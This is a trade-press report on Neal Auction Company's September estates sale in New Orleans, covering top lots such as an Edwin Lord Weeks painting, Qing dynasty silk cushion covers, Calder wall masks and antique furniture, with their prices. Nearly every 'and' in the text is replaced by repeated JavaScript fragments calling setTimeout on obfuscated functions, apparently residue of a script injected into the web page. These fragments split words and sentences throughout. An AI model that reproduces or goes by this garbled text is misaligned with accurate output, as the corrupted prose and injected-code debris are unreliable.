NEW ORLEANS, LA. — The highlight of Neal Auction Company’s September 14–15 important estates auction was an Edwin Lord Weeks (American, 1849–1903) oil on canvas of a “Bullock Cart before Stores andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Houses, Ahmedabad, India,” which sold above estimate for $74,687.

The Orientalist scene, inspired by one of Weeks’ many voyages to Asia during the Nineteenth Century, will be included in Ellen K. Morris’s forthcoming catalog raisonné of the artist. The piece was acquired by a telephone bidder competing against five other telephone bidders andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an active salesroom floor.

The Asian arts category also accounted for several top lots, led by a Chinese yellow silk throne seat cushion cover from the Qing dynasty (1644–1911), which saw widespread attention from international andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and US bidders on the phone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and online. The intricately embroidered piece soared far above its $5/7,000 estimate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and brought $74,420 from a European phone bidder. Another Qing dynasty yellow silk throne seat cushion cover embroidered in couched gold threads with five five-clawed dragons also did well, going out at $50,020.

A Chinese blue andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and white porcelain sleeve vase, circa 1630–50, sparked a bidding war among 13 phone bidders, the Internet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and three bidders in the room before an international collector got it for $26,290. Modestly estimated at $1,5/2,500, the rare, transitional piece opened at $5,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and quickly flew to $15,000, after which only two phone bidders fought it out.

Other Chinese standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andouts were a late Nineteenth–early Twentieth Century bronze incense burner, sold to a Canadian buyer for $23,900, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Qing dynasty blue andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and white porcelain vase decorated with a lakeside scene that fetched $17,327.

Besides the Weeks painting, several choice paintings landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded in the auction’s top ten, including “The Archbishop’s Palace, New Orleans,” a circa 1900–10 work by New Orleans artists William Woodward (1859–1939), which sold above estimate to an online buyer for $47,800. Woodward, a strong advocate for historic preservation, captured the ambience, architectural character andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and street life of the French Quarter in this work.

Other paintings with local flavor that performed well were a circa 1963 oil on panel “Study for the Proposed Jackson, Mississippi, Court House Mural” by Mississippi artist Walter Inglis Anderson (1903–1965), that more than tripled its high estimate to fetch $38,850. A local collector, competing against the telephone bank andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and absentee bids, triumphed. An 1878 oil painting by Louisiana artist Joseph Rusling Meeker (1827–1889) titled “Bayou View with Trumpet Vine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Wildflowers,” realized $33,460. A local buyer acquired the serene Louisiana waterscape against competition from five telephone bidders andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an energetic salesroom floor.

“Barn, Stark Road,” a noteworthy example of Wolf Kahn’s (German American, b 1927) use of color andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and painterly precision, took $28,060. A New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collector won the oil painting after fierce competition from eight telephone bidders, four sizeable absentee bids andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an active gallery.

Three-dimensional fine art came in the form of a suite of three, circa 1949 painted metal wall sculptures by Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Calder (American, 1898–1976) titled “Moon Mask,” “Red Smiling Mask” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Blue Mask with Orange Nose,” which sold together for $73,800. The three masks had been commissioned by Curtis & Davis Architects for the interior of the Mardi Gras themed Sazerac Bar, a “gentlemen only” drinking establishment in the 1950s, in the Roosevelt Hotel in New Orleans.

Leading furniture offerings were an early Nineteenth Century set of 12 late Regency carved mahogany dining chairs that went to a Southern collector for $22,705, a Louis XVI-style gilt-bronze-mounted commode attributed to Victor Raulin, that doubled its high estimate to bring $16,730, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Nineteenth Century Régence-style gilt-bronze-mounted kingwood bureau plat, in the manner of French cabinetmaker Charles Cressent, at $14,937. A mid-Nineteenth Century late classical mahogany center table by New York furniture maker J.&J.W. Meeks, sold well at $14,340.

Rounding out the sale were a Liberty & Co. Cymric sterling silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and enamel double chamberstick, possibly designed by Archibald Knox, for $20,315 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a 1913 Newcomb College art pottery matte glaze vase decorated by Sadie Irvine at $16,730.

All prices reported include the buyer’s premium.

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